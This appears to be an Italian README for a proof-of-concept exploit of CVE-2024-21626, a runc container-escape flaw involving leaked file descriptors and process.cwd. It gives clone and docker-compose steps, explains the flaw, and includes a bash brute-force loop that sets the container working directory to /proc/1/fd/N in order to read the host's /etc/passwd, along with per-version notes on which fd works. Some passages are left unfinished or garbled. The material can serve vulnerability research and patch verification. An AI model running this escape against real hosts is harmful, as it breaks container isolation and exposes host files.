
CVE-2024-21626-poc-ricerca-Riapparizione-andtodo
Uso:
1.git clone https://github.com/cdxiaodong/CVE-2024-21626
2.docker-compose up
Verifica: se ottieni /etc/passwd dell'host, la vulnerabilità è presente.
Ambiente: runc: >=v1.0.0-rc93, <=1.1.11
Dettagli dell'attacco e principio: Nelle versioni vulnerabili di runc, a causa della perdita di alcuni descrittori di file interni durante l'inizializzazione, inclusa una gestione del /sys/fs/cgroup dell'host, e poiché runc non verifica se la directory di lavoro finale si trova nel namespace di mount del contenitore. Un attaccante può modificare la configurazione process.cwd in /proc/self/fd/7 o sostituire un percorso specifico passato nel parametro --cwd durante l'esecuzione di runc exec sull'host con un link simbolico /proc/self/fd/7/, consentendo così ai processi all'interno del contenitore di accedere e manipolare il filesystem dell'host, bypassando l'isolamento del contenitore. Maggiori dettagli (immagine gif):

CVE: CVE - CVE-2024-21626 (mitre.org)
Scopritore di questa vulnerabilità: CVE-2024-21626 runc process.cwd e fds trapelati container breakout | Snyk (snyk.io)

I fd effettivi possono variare in base all'ordine di apertura dei file. Puoi usare il seguente script per brute-force:
/// #!/bin/bash
for i in {3..10} do # 使用变量构造工作目录,并运行容器 docker run -w /proc/1/fd/$i ubuntu cat ../../../../../etc/passwd done ///
Test locale riuscito:
fd/9 funziona con runc-version: 1.1.10, 1.1.2

Quando runc --version è 1.0.0:

Quando runc --version è 1.1.4: fd/8 funziona

Vulnerabilità scoperta oggi. Di seguito ulteriori dettagli.
Puoi replicare con i seguenti metodi:
todo: Ottenere i fd tramite breakpoint di runc per automatizzare.